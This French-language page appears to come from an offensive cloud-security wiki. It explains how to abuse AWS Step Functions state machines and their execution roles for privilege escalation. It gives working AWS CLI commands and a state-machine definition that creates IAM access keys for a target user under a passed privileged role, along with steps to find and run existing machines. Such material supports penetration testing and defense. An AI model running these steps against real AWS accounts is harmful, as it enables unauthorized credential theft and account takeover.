Step Functions

Détourner les machines à états Step Functions et leur rôle d'exécution pour orchestrer des actions privilégiées.

1 min de lecturemis à jour le 12 oct. 2026florianamette1 contributeur
Demander à votre assistant (MCP)Modifier sur GitHub

Une machine à états (state machine) Step Functions s'exécute avec un rôle d'exécution et peut appeler directement des actions de service AWS depuis sa définition. Avec states:CreateStateMachine (plus iam:PassRole), un attaquant définit une machine dont les états Task exécutent des actions privilégiées en tant que rôle transmis ; avec states:UpdateStateMachine, une machine existante est détournée ; et states:StartExecution sur une machine qui porte déjà un rôle puissant exécute son workflow sans aucune modification.

Créer une machine qui agit en tant que rôle transmis#

bash
cat > def.json <<'JSON'
{ "StartAt":"go","States":{
  "go":{"Type":"Task","Resource":"arn:aws:states:::aws-sdk:iam:createAccessKey",
        "Parameters":{"UserName":"target"},"End":true}}}
JSON
aws stepfunctions create-state-machine --name x \
  --role-arn arn:aws:iam::<acct>:role/<privileged-role> \
  --definition file://def.json
aws stepfunctions start-execution --state-machine-arn <arn>

Piloter une machine existante#

bash
aws stepfunctions list-state-machines
aws stepfunctions describe-state-machine --state-machine-arn <arn> --query roleArn
aws stepfunctions start-execution --state-machine-arn <arn> --input '{}'

Notes d'exploitation#

  • L'intégration SDK (arn:aws:states:::aws-sdk:<service>:<action>) permet à une machine à états d'appeler presque n'importe quelle API AWS en tant que son rôle, de sorte que les permissions du rôle définissent le rayon d'impact.
  • create-state-machine avec --role-arn nécessite iam:PassRole, ce qui en fait un chemin d'élévation de privilèges par PassRole propre à Step Functions ; l'article côté identité est pass-role/step-functions.
  • Une machine qui porte déjà un rôle étendu est exploitable avec le seul start-execution.

Outils#

  • AWS CLI (stepfunctions create-state-machine, start-execution, list-state-machines).

Références#